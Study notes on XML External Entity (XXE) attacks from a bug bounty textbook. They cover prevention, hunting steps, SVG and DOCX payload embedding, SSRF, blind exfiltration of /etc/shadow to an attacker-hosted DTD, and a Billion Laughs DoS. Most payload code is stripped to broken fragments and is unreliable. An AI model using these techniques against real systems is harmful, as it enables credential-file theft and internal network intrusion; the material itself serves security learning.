====== BBC Ch 15: XML External Entity (XXE) ====== //Source: Bug Bounty Bootcamp by Vickie Li// ===== How XXE Works ===== XML documents can define external entities via the DOCTYPE tag: ]> &file; ``` When parsed, the server substitutes ''&file;'' with the contents of ''/etc/shadow''. If users can supply or modify the DTD, they can read local files, trigger SSRF, or cause DoS. ===== Prevention ===== * Disable DTD processing entirely in the XML parser * If not possible: disable external entities, parameter entities, and inline DTDs * Limit parser parse time and depth; disable entity expansion * Input validation: allowlist values inserted into XML; sanitize XML headers and nodes * Use JSON or other simpler formats instead of XML where possible * Disallow outbound network traffic to prevent blind XXE exfiltration ===== Hunting for XXEs ===== ==== Step 1: Find XML Entry Points ==== * Proxy the target; look for '' ]> &test; ``` If ''PUBLIC'' is needed instead of ''SYSTEM'': ``` Target useful files: ''/etc/hostname'', ''/etc/passwd'', ''~/.bash_history'' (may contain internal URLs, IPs, secrets). ==== Step 3: Test for Blind XXE ==== Set up a listener (Netcat ''nc -lp 80'' or Burp Collaborator) and make the parser fetch a resource from it: ]> &test; ``` Check server access logs for an incoming GET request to confirm blind XXE. ==== Step 4: Embed XXE Payloads in File Uploads ==== SVG with XXE payload: ]> &test; ``` DOCX/PPTX/XLSX: unzip, insert payload into ''/word/document.xml'' or ''/ppt/presentation.xml'', repack with ''zip -r filename.docx *''. ==== Step 5: XInclude Attacks ==== When you cannot control the full XML document but can inject a value into it: ``` ===== Escalating the Attack ===== ==== Read Files ==== ]> &file; ``` ==== Launch SSRF ==== ]> &file; ``` Port scan by swapping port numbers: ''http://10.0.0.1:80'', ''http://10.0.0.1:22'', etc. ==== Blind XXE Data Exfiltration (External DTD + Parameter Entities) ==== Host this as ''xxe.dtd'' on your server: "> %ent; %exfiltrate; ``` Then submit: %xxe; ]> ``` The target fetches your DTD, executes it, and sends ''/etc/shadow'' contents as a URL parameter to your server. **Error-based exfiltration** (simpler): reference a nonexistent file whose path includes the secret: "> %ent; %error; ``` The parser error message includes the file contents. **CDATA wrapping** for files containing XML special chars (<, >, &, "): "> "> %ent; %exfiltrate; ``` **PHP wrapper** to base64-encode the file (bypasses special chars): ``` ==== Billion Laughs DoS ==== **Do NOT test on live targets.** This payload causes exponential entity expansion, crashing the parser: ]> &lol9; ``` ===== 8-Step Checklist ===== - Find XML entry points: proxy traffic, look for ''